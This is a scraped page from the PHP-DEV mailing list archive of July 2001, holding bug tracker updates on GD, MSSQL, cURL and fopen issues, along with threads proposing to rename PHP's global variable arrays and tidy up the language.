Previous Comments:
---

[2001-07-02 08:32:45] [EMAIL PROTECTED]

Trying:

if (ImageTypes() && IMG_GIF) {
  echo 'GIFS enabled';
  $im = imagecreatefromgif('img.gif');
}

Still works with GD library that does not support GIFS 
producing 'Warning: ImageCreateFromGif: No GIF support in 
this PHP build' - it should not have got that far!


'./configure' '--with-mysql=/usr/local/mysql' 
'--enable-track-vars' '--enable-safe-mode' 
'--with-apxs=/usr/local/apache/bin/apxs' 
'--with-zlib=/usr/local/lib' '--with-gd' 
'--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' 
'--with-png-dir=/usr/local' '--enable-shared' 
'--with-sablot=/usr/local' 
'--enable-sablot-errors-descriptive' '--with-xml' 
'--no-create' '--no-recursion'

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11834&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11834: ImageType() && IMG_GIF & GD 1.8.4

2001-07-02 Thread jeremy


From: [EMAIL PROTECTED]
Operating system: Linux Redhat 7.1 2.4.2
PHP version:  4.0.5
PHP Bug Type: GD related
Bug description:  ImageType() && IMG_GIF & GD 1.8.4

Trying:

if (ImageTypes() && IMG_GIF) {
  echo 'GIFS enabled';
  $im = imagecreatefromgif('img.gif');
}

Still works with GD library that does not support GIFS 
producing 'Warning: ImageCreateFromGif: No GIF support in 
this PHP build' - it should not have got that far!


'./configure' '--with-mysql=/usr/local/mysql' 
'--enable-track-vars' '--enable-safe-mode' 
'--with-apxs=/usr/local/apache/bin/apxs' 
'--with-zlib=/usr/local/lib' '--with-gd' 
'--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' 
'--with-png-dir=/usr/local' '--enable-shared' 
'--with-sablot=/usr/local' 
'--enable-sablot-errors-descriptive' '--with-xml' 
'--no-create' '--no-recursion'


-- 
Edit Bug report at: http://bugs.php.net/?id=11834&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #10901 Updated: mssql.min_error_severity or mssql.min_message_severity have no effect

2001-07-02 Thread mike


ID: 10901
User Update by: [EMAIL PROTECTED]
Status: Closed
Bug Type: MSSQL related
Operating system: Win2k Server SP1
PHP Version: 4.0.5
Description: mssql.min_error_severity  or mssql.min_message_severity have no effect

I was checking for errors from the mssql_query() function and not from the 
mssql_get_last_message(). The function call failed even though I set the warning and 
severity levels to 11.



Previous Comments:
---

[2001-06-30 15:16:18] [EMAIL PROTECTED]

Using mssql_get_last_message will allways retune the last server message. Setting 
mssql.min_message_severity and mssql.min_error_severity will only affect the PHP 
Warnings printed in your script.

You should not use mssql_get_last_message to check for errors, but use the return 
value of the function. If a function returns FALSE, you can check 
mssql_get_last_message to get the message.

---

[2001-05-16 09:27:14] [EMAIL PROTECTED]

mssql.min_message_severity
mssql.min_error_severity

in the php.ini file have no effect on messages received from MSSQL. 

I am running MSSQL 7.0 SP2.

I still get 

Changed database context to 'dbname'.

warning on queries even after setting the above values to greater than 10. The above 
warning is a level 10 warning.



---


Full Bug description available at: http://bugs.php.net/?id=10901


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11287 Updated: CURLOPT_WRITEHEADER crashes PHP

2001-07-02 Thread sterling


ID: 11287
Updated by: sterling
Reported By: [EMAIL PROTECTED]
Old-Status: Analyzed
Status: Closed
Bug Type: cURL related
Operating system: 
PHP Version: 4.0 Latest CVS (22/6 2001)
Assigned To: 
Comments:

Fixed in CVS.

Previous Comments:
---

[2001-06-22 12:52:30] [EMAIL PROTECTED]

Crashes with latest CVS, GDB backtrace:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (runnable)]
0x406b441a in curl_write (data=0x832a218 "HTTP/1.1 200 OKrn", size=1, nmemb=17, 
ctx=0x832a548) at curl.c:259
259 php_curl_write *t  = ch->handlers->write;
(gdb) bt
#0  0x406b441a in curl_write (data=0x832a218 "HTTP/1.1 200 OKrn", size=1, nmemb=17, 
ctx=0x832a548) at curl.c:259
#1  0x41405a68 in Curl_client_write (data=0x832ad88, type=2, ptr=0x832a218 "HTTP/1.1 
200 OKrn", len=17)
at sendf.c:246
#2  0x414122db in Transfer (c_conn=0x83256c0) at transfer.c:616
#3  0x41412c94 in Curl_perform (curl=0x832ad88) at transfer.c:873
#4  0x41412fd2 in curl_easy_perform (curl=0x832ad88) at easy.c:151
#5  0x406b64ce in php_if_curl_exec (ht=1, return_value=0x832ad6c, this_ptr=0x0, 
return_value_used=1) at curl.c:794
#6  0x4066b477 in execute (op_array=0x832549c) at ./zend_execute.c:1554
#7  0x4067bf50 in zend_execute_scripts (type=8, file_count=3) at zend.c:750
#8  0x40694fa3 in php_execute_script (primary_file=0xb54c) at main.c:1265
#9  0x406902ce in apache_php_module_main (r=0x832008c, display_source_mode=0) at 
sapi_apache.c:90
#10 0x40691079 in send_php (r=0x832008c, display_source_mode=0, filename=0x8321b04 
"/www/apache/htdocs/curl.php")
at mod_php4.c:581
#11 0x406910c2 in send_parsed_php (r=0x832008c) at mod_php4.c:594
#12 0x80554f9 in ap_invoke_handler () at md4.c:255
#13 0x806a44f in process_request_internal () at md4.c:255
#14 0x806a4ba in ap_process_request () at md4.c:255
#15 0x8061306 in child_main () at md4.c:255
#16 0x80614e1 in make_child () at md4.c:255
#17 0x806165c in startup_children () at md4.c:255
#18 0x8061ccc in standalone_main () at md4.c:255
#19 0x806251c in main () at md4.c:255
#20 0x400d6c03 in __libc_start_main (main=0x8062164 , argc=2, argv=0xb81c, 
init=0x804f3e0 <_init>, 
fini=0x8099f94 <_fini>, rtld_fini=0x4000bbc0 <_dl_fini>, stack_end=0xb814)
at ../sysdeps/generic/libc-start.c:92


---

[2001-06-05 10:30:21] [EMAIL PROTECTED]

in PHP-4.0.6RC2(&RC1) scripts crashes if you use in cURL the CURLOPT_WRITEHEADER 
option.

in php-4.0.4pl1 it works correct...


eg.:
$ch = curl_init ("http://foo.bar.com";);
$header_file = fopen ("header_curl.dat", "w");
curl_setopt ($ch, CURLOPT_WRITEHEADER, $header_file);
$result=curl_exec ($ch);
if ($header_file) fclose ($header_file);

-- 
Steve

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11287&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11804 Updated: curl_error results strange strings

2001-07-02 Thread sterling


ID: 11804
Updated by: sterling
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: cURL related
Operating system: 
PHP Version: 4.0 Latest CVS (2001-06-29)
Assigned To: 
Comments:

.

Previous Comments:
---

[2001-07-02 08:06:34] [EMAIL PROTECTED]

Fixed in cvs.

---

[2001-06-29 13:46:53] [EMAIL PROTECTED]

Hi,

- cURL 7.8, PHP CVS, Apache 1.3.20, linux-i686

curl_errno doesnt work with follow code:

--

http://www.foo.com";;
$ch = curl_init ($url);
$header_file = fopen ("header_curl.dat", "w");
$content_file = fopen ("content_curl.dat", "w");

curl_setopt ($ch, CURLOPT_FILE, $content_file);

curl_setopt ($ch, CURLOPT_WRITEHEADER, $header_file);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt ($ch,   CURLOPT_NOPROGRESS, true);
curl_setopt ($ch,   CURLOPT_TIMEOUT, 30);

$result=curl_exec ($ch);
$returncode=curl_getinfo($ch, CURLINFO_HTTP_CODE);
$totaltime=curl_getinfo($ch,CURLINFO_TOTAL_TIME);
$realurl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL);
$contentsize=curl_getinfo($ch,CURLINFO_SIZE_DOWNLOAD);

if (curl_errno($ch)>0){
$error=curl_error($ch);
echo $error;
}
fclose($header_file);
fclose($content_file);
?>

--

curl_errno($ch) results a wrong error number and also curl_error($ch)
contains broken strings.

-- 
Steve

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11804&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11804 Updated: curl_error results strange strings

2001-07-02 Thread sterling


ID: 11804
Updated by: sterling
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: cURL related
Operating system: 
PHP Version: 4.0 Latest CVS (2001-06-29)
Assigned To: 
Comments:

Fixed in cvs.

Previous Comments:
---

[2001-06-29 13:46:53] [EMAIL PROTECTED]

Hi,

- cURL 7.8, PHP CVS, Apache 1.3.20, linux-i686

curl_errno doesnt work with follow code:

--

http://www.foo.com";;
$ch = curl_init ($url);
$header_file = fopen ("header_curl.dat", "w");
$content_file = fopen ("content_curl.dat", "w");

curl_setopt ($ch, CURLOPT_FILE, $content_file);

curl_setopt ($ch, CURLOPT_WRITEHEADER, $header_file);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt ($ch,   CURLOPT_NOPROGRESS, true);
curl_setopt ($ch,   CURLOPT_TIMEOUT, 30);

$result=curl_exec ($ch);
$returncode=curl_getinfo($ch, CURLINFO_HTTP_CODE);
$totaltime=curl_getinfo($ch,CURLINFO_TOTAL_TIME);
$realurl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL);
$contentsize=curl_getinfo($ch,CURLINFO_SIZE_DOWNLOAD);

if (curl_errno($ch)>0){
$error=curl_error($ch);
echo $error;
}
fclose($header_file);
fclose($content_file);
?>

--

curl_errno($ch) results a wrong error number and also curl_error($ch)
contains broken strings.

-- 
Steve

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11804&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;

2001-07-02 Thread Derick Rethans


Hello list,

sometimes I use PHP too, and today I noticed the things I described here.
Per coincidence, Jani, who is working on the new bugsystem, had the same
thoughts about this. I'll describe the problem now:

All the arrays which hold the vars are not in de global name space, you
you will always need to use the "global" keyword, or something like
$GLOBALS["HTTP_SESSION_VARS"]["username"]; As you all can see, that's way
to long and cumbersome to type. Just see this example:

global $HTTP_GET_VARS;
global $HTTP_POST_VARS;
global $HTTP_COOKIE_VARS;

if( empty($HTTP_GET_VARS['PHPSESSID'])  &&
empty($HTTP_POST_VARS['PHPSESSID']) &&
empty($HTTP_COOKIE_VARS['PHPSESSID']) &&
!empty($sessid)

I think this looks much better:
if ( empty ($GET_A['PHPSESSID']) &&
 empty ($POST_A['PHPSESSID']) &&
 empty ($COOKIE_A['PHPSESSID']) &&
 !empty ($sessid))

I propose to change the names of the arrays and to make these arrays
available in all functions, this will both eliminate the use of the global
keyword, and will shorten the names significantly. This will speed op
coding of course. Our proposal is to use the now second word of the array,
postfixed by _A (array).

regards,

Jani Taskinen
Derick Rethans


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] I can't unsubscribe . . .

2001-07-02 Thread Cesar Fernando Sarmento


Hi all!

Please, somebody, let me out of this list. I trying to use the "normal ways"
to unsubscribe, but never works!

Thank you very much!

Regards
Cesar.

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Tidying up the language

2001-07-02 Thread Gavin Sherry

Hi guys,

I agree that, given a new Zend engine, it is the best of times to rework
the language. I think Phil is right in pointing out that all
functions/extensions need to be implemented along standardised lines.

It would be best if, once there is concensus on such a frame work, it were
set in (relatively firm) concrete so that extensions which people work on
between now and the function-standardised-tidy-php-with-Zend2 release
work, at least for users, with the said release. This will ensure that
even though there will be many a script in ruin, it will be minimalised.

On Mon, 2 Jul 2001, Jani Taskinen wrote:

> On Mon, 2 Jul 2001, Phil Driscoll wrote:
> 
> >Make function names case sensitive (and all lower case)
> >Rename functions to make them consistent
> >Address the order of arguments to functions so that needles and haystacks are
> >consistent
> 
> Adding these to the BBC-TODO:
> 
> - Remove all BC aliases for functions. If we're breaking BC, break it hard.

Perhaps we could provide a script to translate previously aliased
functions to the correct equivalent. No reason why it couldn't be done for
sed (except that we'll have cranky windows users).

> 
> >Rather than start near infinite threads on the nitty gritty details of what
> >and how to change things, can we first establish a concensus on whether to
> >have a go now or later, and see if we have enough people prepared to put in
> >the hours.
> 

Count me in.

Gavin

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11833 Updated: Unsufficient docs

2001-07-02 Thread M . Izydorski


ID: 11833
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: Documentation problem
Operating system: any
PHP Version: 4.0.6
Description: Unsufficient docs

I don't agree.

I just disable register_global by setting it Off.

Now I can't acces simply $PHP_SELF - returned string is empty.
When I get $HTTP_SERVER_VARS["PHP_SELF"], the return string is such as the $PHP_SELF 
with register_global "On".

Maybe it isn't docs bug, but devel bug?

Previous Comments:
---

[2001-07-02 07:06:16] [EMAIL PROTECTED]

$PHP_SELF is not an environment variable, nor a server variable, it is a special PHP 
variable, so it wont be registered in any arrays you listed

---

[2001-07-02 06:53:24] [EMAIL PROTECTED]

There isn't enough information, from which assosiative array we can acces to 
predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in 
$HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) 
localization.

Regards

---


Full Bug description available at: http://bugs.php.net/?id=11833


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Bug #11833 Updated: Unsufficient docs

2001-07-02 Thread Hojtsy Gabor

Title: RE: [PHP-DEV] Bug #11833 Updated: Unsufficient docs





> Huh? You're wrong here..PHP_SELF is found in HTTP_SERVER_VARS..


I understand :)


Goba

Re: [PHP-DEV] Bug #11833 Updated: Unsufficient docs

2001-07-02 Thread Jani Taskinen



Huh? You're wrong here..PHP_SELF is found in HTTP_SERVER_VARS..

--Jani

On 2 Jul 2001 [EMAIL PROTECTED] wrote:

>ID: 11833
>Updated by: goba
>Reported By: [EMAIL PROTECTED]
>Status: Open
>Bug Type: Documentation problem
>Operating system:
>PHP Version: 4.0.6
>Assigned To:
>Comments:
>
>$PHP_SELF is not an environment variable, nor a server variable, it is a
>special PHP variable, so it wont be registered in any arrays you listed
>
>Previous Comments:
>---
>
>[2001-07-02 06:53:24] [EMAIL PROTECTED]
>
>There isn't enough information, from which assosiative array we can
>acces to predefined variables, when register globals is not set.
>Espesially $PHP_SELF isn't in $HTTP_ENV_VARS but $HTTP_SERVER_VARS, which
>mean not intuos (in my opinion) localization.
>
>Regards
>
>---
>
>
>
>ATTENTION! Do NOT reply to this email!
>To reply, use the web interface found at http://bugs.php.net/?id=11833&edit=2
>
>
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11731 Updated: PHP_URL_FOPEN only doesn't work

2001-07-02 Thread brian


ID: 11731
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Network related
Operating system: Linux
PHP Version: 4.0.6
Description: PHP_URL_FOPEN only doesn't work

oh sorry I'am a error with my message, test this code :

http://$url";, "r");
echo "Link ($url): $link";

$url2 = "www.voyage.com";
$link2 = fopen("http://$url2";, "r");
echo "Link2 ($url2): $link2";
?>

And link2 is only empty... 

Previous Comments:
---

[2001-06-27 13:26:52] [EMAIL PROTECTED]

Your example script works just fine for me.
Which linux distribution is this? RH? Suse?
Do you get any error messages into logs?


---

[2001-06-27 05:56:51] [EMAIL PROTECTED]

http://$url";, "r");
echo "Link ($url): $link";

$url2 = "www.yahoo.com";
$link2 = fopen("http://$url2";, "r");
echo "Link2 ($url2): $link2";
?>

Yields:
Link (www.yahoo.com):  ($link is empty)
Link2 (www.voyage.com): ($link2 is empty)

version:
PHP Version 4.0.6RC3

Configure:

'../configure' '--prefix=/usr' 
'--with-apxs=/usr/bin/apxs' 
'--with-regex=system'
'--with-config-file-path=/etc/php4/apache' 
'--disable-rpath' '--with-layout=GNU'
'--enable-memory-limit' 
'--enable-calendar' 
'--enable-sysvsem' 
'--enable-sysvshm'
'--enable-track-vars' 
'--enable-trans-sid' 
'--disable-debug' 
'--disable-static'
'--enable-bcmath' 
'--with-bz2' 
'--enable-ctype' 
'--with-curl=shared,/usr' 
'--with-db2'
'--with-ndbm' 
'--with-dom=shared,/usr' 
'--enable-exif' 
'--enable-filepro' 
'--enable-ftp'
'--with-gettext' 
'--with-gd=shared,/usr' 
'--with-jpeg-dir=shared,/usr'
'--with-xpm-dir=shared,/usr/X11R6' 
'--with-png-dir=shared,/usr' 
'--with-imap=shared,/usr'
'--with-ldap=shared,/usr' 
'--with-mcal=shared,/usr' 
'--with-mm' 
'--with-mhash=shared,/usr'
'--with-mysql=shared,/usr' 
'--with-pcre-regex=/usr' 
'--without-pgsql'
'--with-sablot=shared,/usr' 
'--enable-shmop' 
'--with-snmp=shared' 
'--enable-sockets'
'--with-sybase-ct=shared,/usr' 
'--with-ttf=shared,/usr' 
'--with-t1lib=shared,/usr'
'--enable-wddx' 
'--with-xml=/usr' 
'--with-expat-dir=/usr' 
'--enable-yp' 
'--with-zlib'


---


Full Bug description available at: http://bugs.php.net/?id=11731


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

1 2 >

1 - 100 of 121 matches

Mail list logo